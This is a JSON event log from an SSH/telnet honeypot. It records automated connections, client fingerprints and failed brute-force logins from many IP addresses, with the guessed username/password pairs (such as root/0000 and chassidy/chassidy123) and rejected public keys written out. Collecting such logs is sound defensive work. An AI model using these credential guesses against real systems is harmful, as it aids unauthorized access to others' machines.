{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:52.915168Z","src_ip":"103.149.28.157","session":"403bf18e4286","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456h","message":"login attempt [root/123456h] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:53.664871Z","src_ip":"103.149.28.157","session":"403bf18e4286","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:54.917654Z","src_ip":"103.149.28.157","session":"403bf18e4286","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":47178,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c263c71ffa1","protocol":"ssh","message":"New connection: 80.94.92.184:47178 (10.17.0.5:22) [session: 2c263c71ffa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:54.932891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:54.991687Z","src_ip":"80.94.92.184","session":"2c263c71ffa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:55.180793Z","src_ip":"80.94.92.184","session":"2c263c71ffa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567","message":"login attempt [solv/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:55.912217Z","src_ip":"80.94.92.184","session":"2c263c71ffa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:57.138964Z","src_ip":"80.94.92.184","session":"2c263c71ffa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":37558,"dst_ip":"10.17.0.5","dst_port":22,"session":"26f13289aa8d","protocol":"ssh","message":"New connection: 103.77.175.15:37558 (10.17.0.5:22) [session: 26f13289aa8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:09.722918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:09.728050Z","src_ip":"103.77.175.15","session":"26f13289aa8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:09.987034Z","src_ip":"103.77.175.15","session":"26f13289aa8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":41365,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea0208be9351","protocol":"ssh","message":"New connection: 213.209.159.56:41365 (159.203.135.109:22) [session: ea0208be9351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:10.035632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:10.040595Z","src_ip":"213.209.159.56","session":"ea0208be9351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:10.127992Z","src_ip":"213.209.159.56","session":"ea0208be9351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58652,"dst_ip":"10.17.0.5","dst_port":23,"session":"86b9cb8e240e","protocol":"telnet","message":"New connection: 152.42.224.71:58652 (10.17.0.5:23) [session: 86b9cb8e240e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:10.387711Z"}
{"eventid":"cowrie.login.failed","username":"chassidy","password":"chassidy","message":"login attempt [chassidy/chassidy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:10.527535Z","src_ip":"213.209.159.56","session":"ea0208be9351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fytxrf","message":"login attempt [root/fytxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:10.762022Z","src_ip":"103.77.175.15","session":"26f13289aa8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chassidy","password":"chassidy1","message":"login attempt [chassidy/chassidy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:11.612777Z","src_ip":"213.209.159.56","session":"ea0208be9351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:12.022382Z","src_ip":"103.77.175.15","session":"26f13289aa8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chassidy","password":"chassidy123","message":"login attempt [chassidy/chassidy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:12.697907Z","src_ip":"213.209.159.56","session":"ea0208be9351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chassidy","password":"chassidy1234","message":"login attempt [chassidy/chassidy1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:13.783635Z","src_ip":"213.209.159.56","session":"ea0208be9351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chassidy","password":"chassidy12345","message":"login attempt [chassidy/chassidy12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:14.870230Z","src_ip":"213.209.159.56","session":"ea0208be9351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:15.956854Z","src_ip":"213.209.159.56","session":"ea0208be9351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.59730076789856,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:27.710774Z","src_ip":"152.42.224.71","session":"47d33649fba8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":56348,"dst_ip":"159.203.135.109","dst_port":22,"session":"93be30f1d2f8","protocol":"ssh","message":"New connection: 109.237.96.109:56348 (159.203.135.109:22) [session: 93be30f1d2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:46.350801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:46.360963Z","src_ip":"109.237.96.109","session":"93be30f1d2f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:46.451971Z","src_ip":"109.237.96.109","session":"93be30f1d2f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:46.725189Z","src_ip":"109.237.96.109","session":"93be30f1d2f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:29:47.817939Z","src_ip":"109.237.96.109","session":"93be30f1d2f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":46262,"dst_ip":"159.203.135.109","dst_port":23,"session":"02d8e075e188","protocol":"telnet","message":"New connection: 213.108.3.46:46262 (159.203.135.109:23) [session: 02d8e075e188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:06.900764Z"}
{"eventid":"cowrie.session.closed","duration":0.017316341400146484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:06.917958Z","src_ip":"213.108.3.46","session":"02d8e075e188","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56422,"dst_ip":"10.17.0.5","dst_port":23,"session":"92233744ee1e","protocol":"telnet","message":"New connection: 152.42.224.71:56422 (10.17.0.5:23) [session: 92233744ee1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:08.123229Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.93.102.236","src_port":22962,"dst_ip":"10.17.0.5","dst_port":22,"session":"123572281ddc","protocol":"ssh","message":"New connection: 172.93.102.236:22962 (10.17.0.5:22) [session: 123572281ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:09.809926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:09.815541Z","src_ip":"172.93.102.236","session":"123572281ddc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:09.828851Z","src_ip":"172.93.102.236","session":"123572281ddc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:30:33:2c:27:9b:a9:b0:27:b7:35:e3:cc:b3:e5:e3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIICp6GH66BJpKrTynEK7ZvgZ/kj3mcancgrym8LPlm0f","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ea:30:33:2c:27:9b:a9:b0:27:b7:35:e3:cc:b3:e5:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:09.850150Z","src_ip":"172.93.102.236","session":"123572281ddc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:30:33:2c:27:9b:a9:b0:27:b7:35:e3:cc:b3:e5:e3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIICp6GH66BJpKrTynEK7ZvgZ/kj3mcancgrym8LPlm0f","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:09.854738Z","src_ip":"172.93.102.236","session":"123572281ddc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:bc:6e:34:10:15:b1:84:0b:e5:e4:22:c5:76:11:ad","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAzO9Bf0nWnQndAToe2WvNp2MAKvBTf2N1Kun3fehND9","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f4:bc:6e:34:10:15:b1:84:0b:e5:e4:22:c5:76:11:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:09.867395Z","src_ip":"172.93.102.236","session":"123572281ddc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:bc:6e:34:10:15:b1:84:0b:e5:e4:22:c5:76:11:ad","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAzO9Bf0nWnQndAToe2WvNp2MAKvBTf2N1Kun3fehND9","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:09.872844Z","src_ip":"172.93.102.236","session":"123572281ddc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:33:5a:b6:c8:88:ac:1b:c9:31:a7:85:8a:1a:29:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7U7KfrZw85bxGhskrLqE3OEm93EqnFsQJZaIwGNHIElWg4rbbYN/H0iYL2SpfEbMM28a0petRxSdqCNv6QxOe34hMi8x6aoTqZDLybm2f3941HPd0iJMHneQ0VunKCeZPBNEZt4NgPuKhf5Y/JPvAg7pPGe/3luXs8nSVQ2dQnJ3wqeew5eSw+PMPak+Eye8HHC4IcP6yLq8ccsXDuj7fo6NmkJgME1aDDQilIeClI5amiLped6xAFzzrZjcM3YeewqBb6e3P8EmEd14yP0rfhTpfvgLbn8QEq+CJ1vB3sHgyViFb0QU81ioYbEIlq4Mx0Ucu10eT2RYJlrEJnxn5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:33:5a:b6:c8:88:ac:1b:c9:31:a7:85:8a:1a:29:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:09.886978Z","src_ip":"172.93.102.236","session":"123572281ddc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:33:5a:b6:c8:88:ac:1b:c9:31:a7:85:8a:1a:29:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7U7KfrZw85bxGhskrLqE3OEm93EqnFsQJZaIwGNHIElWg4rbbYN/H0iYL2SpfEbMM28a0petRxSdqCNv6QxOe34hMi8x6aoTqZDLybm2f3941HPd0iJMHneQ0VunKCeZPBNEZt4NgPuKhf5Y/JPvAg7pPGe/3luXs8nSVQ2dQnJ3wqeew5eSw+PMPak+Eye8HHC4IcP6yLq8ccsXDuj7fo6NmkJgME1aDDQilIeClI5amiLped6xAFzzrZjcM3YeewqBb6e3P8EmEd14yP0rfhTpfvgLbn8QEq+CJ1vB3sHgyViFb0QU81ioYbEIlq4Mx0Ucu10eT2RYJlrEJnxn5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:09.893955Z","src_ip":"172.93.102.236","session":"123572281ddc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:f5:41:8d:6a:86:1b:db:9e:31:be:84:f9:7b:3d:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwkaewYQ9G8qpleFK8c2nmCG+m8DnuuQ6vwmaP8a24q3PgSkALdlgg7JXgKv4g6Zt13I3p4AxxjvD84Br5yaKEAC0+TU6vTkLjG0fITGolkFWQOytMgwpO6o3tjjGYs7IHcu4gf4LLOVLBS3R2HWnvRbHa9k4fsILeuvAhtHzBtZ467TuSpb5FDBwgF2WD4tvPuAPS11f8XgOI2uFTaK2i3+93U7zULn1UUUZkMAocDQH+QR3iYl7EdZvrWqwzZMDDqvYrfEou7ye6uH+TXISezsZoqwvONqGYBgpGT9Uvk5fqxYr6gfcumXvCfxDEiL5Wfz26b5pIB2BKCpA5Sv6R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:f5:41:8d:6a:86:1b:db:9e:31:be:84:f9:7b:3d:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:09.910989Z","src_ip":"172.93.102.236","session":"123572281ddc","protocol":"ssh"}
